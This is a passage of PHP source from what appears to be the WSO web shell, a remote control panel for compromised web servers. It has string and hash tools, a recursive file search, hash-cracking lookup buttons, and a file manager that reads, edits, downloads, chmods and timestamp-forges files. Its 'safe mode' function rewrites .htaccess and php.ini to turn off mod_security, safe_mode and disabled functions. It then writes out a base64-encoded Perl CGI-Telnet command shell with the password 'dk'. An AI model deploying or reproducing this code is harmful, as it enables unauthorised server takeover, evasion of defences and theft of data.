624 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
625 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
626 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
627 if(class_exists('ZipArchive'))
628 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
629 if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
630 echo "<option value='paste'>Paste / zip</option>";
631 echo "</select> <input type='submit' value='>>'></td></tr></form></table></div>";
632 wsoFooter();
633}
634
635function actionStringTools() {
636 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
637 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
638 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
639 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
640 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
641 $stringTools = array(
642 'Base64 encode' => 'base64_encode',
643 'Base64 decode' => 'base64_decode',
644 'Url encode' => 'urlencode',
645 'Url decode' => 'urldecode',
646 'Full urlencode' => 'full_urlencode',
647 'md5 hash' => 'md5',
648 'sha1 hash' => 'sha1',
649 'crypt' => 'crypt',
650 'CRC32' => 'crc32',
651 'ASCII to HEX' => 'ascii2hex',
652 'HEX to ASCII' => 'hex2ascii',
653 'HEX to DEC' => 'hexdec',
654 'HEX to BIN' => 'hex2bin',
655 'DEC to HEX' => 'dechex',
656 'DEC to BIN' => 'decbin',
657 'BIN to HEX' => 'binhex',
658 'BIN to DEC' => 'bindec',
659 'String to lower case' => 'strtolower',
660 'String to upper case' => 'strtoupper',
661 'Htmlspecialchars' => 'htmlspecialchars',
662 'String length' => 'strlen',
663 );
664 if(isset($_POST['ajax'])) {
665 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
666 ob_start();
667 if(in_array($_POST['p1'], $stringTools))
668 echo $_POST['p1']($_POST['p2']);
669 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
670 echo strlen($temp), "\n", $temp;
671 exit;
672 }
673 wsoHeader();
674 echo '<h1>String conversions</h1><div class=content>';
675 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
676 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
677 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
678 foreach($stringTools as $k => $v)
679 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
680 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
681 if(!empty($_POST['p1'])) {
682 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
683 }
684 echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
685 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
686 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
687 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
688 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
689 <tr><td></td><td><input type='submit' value='>>'></td></tr>
690 </table></form>";
691
692 function wsoRecursiveGlob($path) {
693 if(substr($path, -1) != '/')
694 $path.='/';
695 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
696 if(is_array($paths)&&@count($paths)) {
697 foreach($paths as $item) {
698 if(@is_dir($item)){
699 if($path!=$item)
700 wsoRecursiveGlob($item);
701 } else {
702 if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
703 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
704 }
705 }
706 }
707 }
708 if(@$_POST['p3'])
709 wsoRecursiveGlob($_POST['c']);
710 echo "</div><br><h1>Search for hash:</h1><div class=content>
711 <form method='post' target='_blank' name='hf'>
712 <input type='text' name='hash' style='width:200px;'><br>
713 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
714 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
715 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
716 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
717 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
718 </form></div>";
719 wsoFooter();
720}
721
722function actionFilesTools() {
723 if( isset($_POST['p1']) )
724 $_POST['p1'] = urldecode($_POST['p1']);
725 if(@$_POST['p2']=='download') {
726 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
727 ob_start("ob_gzhandler", 4096);
728 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
729 if (function_exists("mime_content_type")) {
730 $type = @mime_content_type($_POST['p1']);
731 header("Content-Type: ".$type);
732 }
733 $fp = @fopen($_POST['p1'], "r");
734 if($fp) {
735 while(!@feof($fp))
736 echo @fread($fp, 1024);
737 fclose($fp);
738 }
739 }exit;
740 }
741 if( @$_POST['p2'] == 'mkfile' ) {
742 if(!file_exists($_POST['p1'])) {
743 $fp = @fopen($_POST['p1'], 'w');
744 if($fp) {
745 $_POST['p2'] = "edit";
746 fclose($fp);
747 }
748 }
749 }
750 wsoHeader();
751 echo '<h1>File tools</h1><div class=content>';
752 if( !file_exists(@$_POST['p1']) ) {
753 echo 'File not exists';
754 wsoFooter();
755 return;
756 }
757 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
758 if(!$uid) {
759 $uid['name'] = @fileowner($_POST['p1']);
760 $gid['name'] = @filegroup($_POST['p1']);
761 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
762 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
763 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
764 if( empty($_POST['p2']) )
765 $_POST['p2'] = 'view';
766 if( is_file($_POST['p1']) )
767 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
768 else
769 $m = array('Chmod', 'Rename', 'Touch');
770 foreach($m as $v)
771 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
772 echo '<br><br>';
773 switch($_POST['p2']) {
774 case 'view':
775 echo '<pre class=ml1>';
776 $fp = @fopen($_POST['p1'], 'r');
777 if($fp) {
778 while( !@feof($fp) )
779 echo htmlspecialchars(@fread($fp, 1024));
780 @fclose($fp);
781 }
782 echo '</pre>';
783 break;
784 case 'highlight':
785 if( @is_readable($_POST['p1']) ) {
786 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
787 $code = @highlight_file($_POST['p1'],true);
788 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
789 }
790 break;
791 case 'chmod':
792 if( !empty($_POST['p3']) ) {
793 $perms = 0;
794 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
795 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
796 if(!@chmod($_POST['p1'], $perms))
797 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
798 }
799 clearstatcache();
800 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
801 break;
802 case 'edit':
803 if( !is_writable($_POST['p1'])) {
804 echo 'File isn\'t writeable';
805 break;
806 }
807 if( !empty($_POST['p3']) ) {
808 $time = @filemtime($_POST['p1']);
809 $_POST['p3'] = substr($_POST['p3'],1);
810 $fp = @fopen($_POST['p1'],"w");
811 if($fp) {
812 @fwrite($fp,$_POST['p3']);
813 @fclose($fp);
814 echo 'Saved!<br><script>p3_="";</script>';
815 @touch($_POST['p1'],$time,$time);
816 }
817 }
818 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
819 $fp = @fopen($_POST['p1'], 'r');
820 if($fp) {
821 while( !@feof($fp) )
822 echo htmlspecialchars(@fread($fp, 1024));
823 @fclose($fp);
824 }
825 echo '</textarea><input type=submit value=">>"></form>';
826 break;
827 case 'hexdump':
828 $c = @file_get_contents($_POST['p1']);
829 $n = 0;
830 $h = array('00000000<br>','','');
831 $len = strlen($c);
832 for ($i=0; $i<$len; ++$i) {
833 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
834 switch ( ord($c[$i]) ) {
835 case 0: $h[2] .= ' '; break;
836 case 9: $h[2] .= ' '; break;
837 case 10: $h[2] .= ' '; break;
838 case 13: $h[2] .= ' '; break;
839 default: $h[2] .= $c[$i]; break;
840 }
841 $n++;
842 if ($n == 32) {
843 $n = 0;
844 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
845 $h[1] .= '<br>';
846 $h[2] .= "\n";
847 }
848 }
849 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
850 break;
851 case 'rename':
852 if( !empty($_POST['p3']) ) {
853 if(!@rename($_POST['p1'], $_POST['p3']))
854 echo 'Can\'t rename!<br>';
855 else
856 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
857 }
858 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
859 break;
860 case 'touch':
861 if( !empty($_POST['p3']) ) {
862 $time = strtotime($_POST['p3']);
863 if($time) {
864 if(!touch($_POST['p1'],$time,$time))
865 echo 'Fail!';
866 else
867 echo 'Touched!';
868 } else echo 'Bad time format!';
869 }
870 clearstatcache();
871 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
872 break;
873 }
874 echo '</div>';
875 wsoFooter();
876}
877
878function actionSafeMode() {
879unlink($GLOBALS['cwd'].".htaccess");
880unlink($GLOBALS['cwd']."php.ini");
881 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
882 fwrite($fil,'<IfModule mod_security.c>
883Sec------Engine Off
884Sec------ScanPOST Off
885</IfModule>');
886 fclose($fil);
887 $fil=fopen($GLOBALS['cwd']."php.ini","w");
888 fwrite($fil,'safe_mode=OFF
889disable_functions=NONE');
890 fclose($fil);
891@mkdir('dkcgi',0755);
892$file = fopen($dir."dkcgi/.htaccess" ,"w+");
893$sa=base64_decode('T3B0aW9ucyBhbGwKRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwKQWRkVHlwZSB0ZXh0L3BsYWluIC5w
894aHAKQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuc2EKQWRkSGFuZGxlciBzZXJ2ZXIt
895cGFyc2VkIC5waHAKQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5zYQpBZGRIYW5kbGVyIGNnaS1zY3Jp
896cHQgLnNh');
897$write = fwrite ($file ,$sa);
898
899$file = fopen($dir."dkcgi/cgi.pl" ,"w+");
900$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIENvcHlyaWdodCBhbmQgTGljZW5jZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDR0ktVGVsbmV0IFZlcnNpb24gMS4wIGZvciBOVCBhbmQgVW5peCA6IFJ1biBDb21tYW5kcyBvbiB5b3VyIFdlYiBTZXJ2ZXINCiMNCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmENCiMgUGVybWlzc2lvbiBpcyBncmFudGVkIHRvIHVzZSwgZGlzdHJpYnV0ZSBhbmQgbW9kaWZ5IHRoaXMgc2NyaXB0IHNvIGxvbmcNCiMgYXMgdGhpcyBjb3B5cmlnaHQgbm90aWNlIGlzIGxlZnQgaW50YWN0LiBJZiB5b3UgbWFrZSBjaGFuZ2VzIHRvIHRoZSBzY3JpcHQNCiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQ0KIyBpbiB0aGlzIHNjcmlwdCwgeW91IGNhbiBlLW1haWwgbWUuDQojDQojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQ0KIyBBdXRob3IgZS1tYWlsOiByb2hpdGFiQHJvaGl0YWIuY29tDQojIEF1dGhvciBIb21lcGFnZTogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS8NCiMgU2NyaXB0IEhvbWVwYWdlOiBtYWlsdG86VU5JVFhfVEVBTUBIT1RNQUlMLkNPTQ0KIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8NCiMgRGlzY3Vzc2lvbiBGb3J1bTogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS9kaXNjdXNzLw0KIyBNYWlsaW5nIExpc3Q6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vbWxpc3QvDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgSW5zdGFsbGF0aW9uDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRvIGluc3RhbGwgdGhpcyBzY3JpcHQNCiMNCiMgMS4gTW9kaWZ5IHRoZSBmaXJzdCBsaW5lICIjIS91c3IvYmluL3BlcmwiIHRvIHBvaW50IHRvIHRoZSBjb3JyZWN0IHBhdGggb24NCiMgICAgeW91ciBzZXJ2ZXIuIEZvciBtb3N0IHNlcnZlcnMsIHlvdSBtYXkgbm90IG5lZWQgdG8gbW9kaWZ5IHRoaXMuDQojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4NCiMgMy4gSWYgeW91J3JlIHJ1bm5pbmcgdGhlIHNjcmlwdCB1bmRlciBXaW5kb3dzIE5ULCBzZXQgJFdpbk5UID0gMSBpbiB0aGUNCiMgICAgQ29uZmlndXJhdGlvbiBTZWN0aW9uIGJlbG93Lg0KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8NCiMgICAgZXhlY3V0ZSBDR0kgc2NyaXB0cy4gVGhpcyBpcyB1c3VhbGx5IGNnaS1iaW4uIE1ha2Ugc3VyZSB0aGF0IHlvdSB1cGxvYWQNCiMgICAgdGhlIHNjcmlwdCBpbiBBU0NJSSBtb2RlLg0KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4NCiMgNi4gT3BlbiB0aGUgc2NyaXB0IGluIHlvdXIgd2ViIGJyb3dzZXIuIElmIHlvdSB1cGxvYWRlZCB0aGUgc2NyaXB0IGluDQojICAgIGNnaS1iaW4sIHRoaXMgc2hvdWxkIGJlIGh0dHA6Ly93d3cueW91cnNlcnZlci5jb20vY2dpLWJpbi9jZ2l0ZWxuZXQucGwNCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ29uZmlndXJhdGlvbjogWW91IG5lZWQgdG8gY2hhbmdlIG9ubHkgJFBhc3N3b3JkIGFuZCAkV2luTlQuIFRoZSBvdGhlcg0KIyB2YWx1ZXMgc2hvdWxkIHdvcmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJFBhc3N3b3JkID0gImRrIjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcw0KCQkJCSMgdG8gbG9naW4uDQoNCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENtZFNlcCA9ICImIjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJhdGlvbiA9IDEwMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQNCgkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcw0KCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQNCgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuDQoJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcw0KCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLg0KDQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQ0KCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlDQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kDQoJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlDQoJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQNCgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4NCg0KIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQ0KDQokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsNCiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsNCiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOw0KJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0DQojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuDQojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uDQojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mDQojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJDQojIHNjcmlwdHMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUmVhZFBhcnNlDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcNCgkJQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsNCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87DQoJCSRpbnsnZid9ID0gJDE7DQoJCSRpbnsnZid9ID1+IHMvXCIvL2c7DQoJCSRpbnsnZid9ID1+IHMvXHMvL2c7DQoNCgkJIyBwYXJzZSB0cmFpbGVyDQoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspDQoJCXsNCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOw0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+VW5pdC1YIFRlYW08L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzAwMDAwMCIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPg0KPHRyPg0KPHRk